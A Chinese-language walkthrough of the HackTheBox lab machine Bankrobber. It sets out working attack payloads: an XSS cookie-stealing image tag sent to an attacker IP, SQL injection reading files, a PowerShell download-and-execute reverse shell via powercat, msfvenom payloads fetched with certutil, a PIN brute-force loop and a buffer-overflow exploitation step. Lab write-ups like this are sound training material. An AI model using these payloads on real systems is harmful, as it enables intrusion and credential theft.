Avatar {{帝力于我何有哉}} 不疯魔,不成活。 Be obsessed, or be average.


HackTheBox >_ Bankrobber_154

Bankrobber_154

image-20200927102049195

80

443

445

3306

常规扫描,不复述

image-20200927102229194

测试了一圈,并没发现什么合适的地方,尝试注册,看能否越权。

但是并没有什么有用的

在transfer发现了有趣的地方

image-20200927102747205

随便填入信息进行测试发现:

image-20200927102302429

就是说管理员会进行人工审核。也就是说管理员会登陆

我们可以尝试盗取cookie,从而达到使用管理员权限登陆网站,尝试更多测试,抓包

image-20200927102938272

我们可以修改包中能输入内容的文本框,在中间插入我们利用xss的img错误

提交一个伪造的img错误指向kali的80端口并传输管理员的cookie,

payload如下:

<img src=x onerror=this.src="http://10.10.14.25/?c="%2bdocument.cookie>

反复尝试, 最后把语句所有的参数都打入了payload才成功,最终包如下

POST /user/transfer.php HTTP/1.1
Host: 10.10.10.154
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: */*
Accept-Language: zh-CN,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://10.10.10.154/user/
Content-type: application/x-www-form-urlencoded
Content-Length: 244
Origin: http://10.10.10.154
Connection: close
Cookie: id=3; username=dGVzdA%3D%3D; password=dGVzdA%3D%3D

fromId=3&toId=<img src=x onerror=this.src="http://10.10.14.25/?c="%2bdocument.cookie>&amount=<img src=x onerror=this.src="http://10.10.14.25/?c="%2bdocument.cookie>&comment=<img src=x onerror=this.src="http://10.10.14.25/?c="%2bdocument.cookie>

在80端口建立监听,

image-20200927103423438

得到了管理员的用户名和密码

YWRtaW4%3D
SG9wZWxlc3Nyb21hbnRpYw%3D%3D

%3D%3D是==,应该是base64

解码

$ echo YWRtaW4= | base64 -d
admin
$ echo SG9wZWxlc3Nyb21hbnRpYw== | base64 -d
Hopelessromantic

所以,管理员凭证是admin:Hopelessromantic

使用管理员凭证登录

image-20200927104122091

注意这个,一个notes.txt

image-20200927104210678

image-20200927104245843

从默认的Xampp文件夹移动所有文件:TODO
对除本地主机以外的每个IP地址的注释进行编码:完成
休息一下..

看样子有xampp,所以已经可以知道默认目录,而且会用到这条线索。

我也应该休息一下。已经很久了。

image-20200927135813534

看样子是数据库查询

image-20200927135734612

可以注入

1' union all select 1,2,3-- -

image-20200927140059131

三格,显示位2.注释符– - 在手注部分耽误了很多时间,中间过程略过,无具体收获。

看看下面

命令执行

image-20200927140213657

提示只能执行dir

image-20200927140245769

只允许本地执行。

我们手里还剩个之前的xss。也就是说可以利用xss让管理员在本地执行。

So,需要页面构建一个js脚本。利用管理员把命令推入backdoorchecker。

我们现在需要查看backdoorchecker源码,看看怎样绕过只能dir的命令限制,

我们能够SQLi,同时我们前面已经知道了默认路径应该是xampp。可以通过数据库的load file查看源码

1' union all select 1,LOAD_FILE('C:\\xampp\\htdocs\\admin\\backdoorchecker.php'),3-- -

image-20200927140710237

<?php
include('../link.php');
include('auth.php');

$username = base64_decode(urldecode($_COOKIE['username']));
$password = base64_decode(urldecode($_COOKIE['password']));
$bad       = array('$(','&');
$good       = "ls";

if(strtolower(substr(PHP_OS,0,3)) == "win"){
    $good = "dir";
}

if($username == "admin" && $password == "Hopelessromantic"){
    if(isset($_POST['cmd'])){
            // FILTER ESCAPE CHARS
            foreach($bad as $char){
                if(strpos($_POST['cmd'],$char) !== false){
                    die("You're not allowed to do that.");
                }
            }
            // CHECK IF THE FIRST 2 CHARS ARE LS
            if(substr($_POST['cmd'], 0,strlen($good)) != $good){
                die("It's only allowed to use the $good command");
            }



            if($_SERVER['REMOTE_ADDR'] == "::1"){
                system($_POST['cmd']);
            } else{
                echo "It's only allowed to access this function from localhost (::1).<br..."
            }
    }
}else{
  echo "...."
}
?>

也就是说只要是管理员,并且命令的前3个字母为dir就行。。。

所以允许命令应该为 dirxxxx   ipconfig

验证阶段略过。

构建让我们可以获得shell的命令,应该是如下的命令

dirxxx || powershell -c "IEX (New-Object System.Net.Webclient).DownloadString('http://10.10.14.25:8080/powercat.ps1');powercat -c 10.10.14.25 -p 4444 -e cmd"

而将命令转为xss则应该为

<script>var xhr;if (window.XMLHttpRequest){xhr=new XMLHttpRequest()}else{xhr=new ActiveXObject("Microsoft.XMLHTTP")};xhr.open("POST","/admin/backdoorchecker.php");xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');xhr.send("cmd=dirxxx || powershell -c \"IEX (New-Object System.Net.Webclient).DownloadString('http://10.10.14.25:8080/powercat.ps1');powercat -c 10.10.14.25 -p 4444 -e cmd\"");</script>

回到最开始transfer.php页面重新抓包改包,kali本地开http服务,建立监听端口

极度漫长的等待后,管理员在我们的python http服务下载了powercat

image-20200927141850489

我们在kali监听端口获得了shell

image-20200927142018778

这台机器,真的卡是获得user

image-20200927142154231

image-20200927142227144

简单枚举看到910端口运行 PID1628

image-20200927142334545

tasklist /svc

image-20200927142406277

1628是bank2.exe

找一下发现在C盘

image-20200927142443882

so要么端口转发,要么逆向/ window xp以上支持端口转发

C:\Users\Cortin\Desktop> netsh interface portproxy add v4tov4 listenport=910 listenaddress=0.0.0.0 connectport=443 connectaddress=10.10.14.25

image-20200927142544608

没权限?runas

image-20200927142631556

仍未建立成功,不知道这里是我操作问题还是什么

netsh interface portproxy dump

image-20200927142824160

换个思路 传一个,meterpreter马(是的,开始不要脸了)

kali端生成,放入刚刚我们python http服务的工作目录。

$ msfvenom -p windows/meterpreter/reverse_tcp lhost=10.10.14.25 lport=1337 -f exe > metershell.exe

靶机执行下载

C:\Users\Cortin\Desktop> certutil -urlcache -split -f http://10.10.14.25:8080/metershell.exe

image-20200927143130589

msf设置监听

image-20200927143209473

靶机激活

image-20200927143239618

得到meter shell

image-20200927143326634

利用meterpreter的快速命令,方便的进行端口转发,把目标910转到kali910

meterpreter > portfwd add -l 910 -p 910 -r 127.0.0.1

现在

对kali的910端口进行测试,注意使用nv不是nvlp

$ nc -nv 127.0.0.1 910

image-20200927143543789

需要4位pin才能进入。

返回查找目标机器

无果

查询一番后,尝试使用bash脚本进行暴力破解的方法

$ for i in {0..9}{0..9}{0..9}{0..9}; do echo $i; echo $i | nc -nv 127.0.0.1 910; done

image-20200927143836543

image-20200927143953604

0021

重新连接

image-20200927144034243

提示会执行transfer.exe

image-20200927145456018

反复测试,发现这是一个可视的BOF,当推入了足够多的字符后,会发生越界,新的信息将被推入转换工具的位置。

因为会执行转换工具,所以只要推入我们想要执行的程序的路径,即可激活我们的payload

image-20200927145746041

让我们测试一下可以输入多长,从而得知,我们应该在payload之前推入多少个字母

msf制作字符串

$ msf-pattern_create -l 50

image-20200927150337146

image-20200927150424252

现在得知我们推入32个字符后,附加的信息即可推入执行工具位置,从而执行

kali端再生成一个马

$ msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.25 LPORT=4443 -e x86/shikata_ga_nai -f exe -o non_staged.exe

上传到靶机

image-20200927151644014

嗯。好像也不需要知道多少个字符,直接看程序截断利用就行

image-20200927152120708

在监听获得shell

image-20200927152156759

image-20200927152244574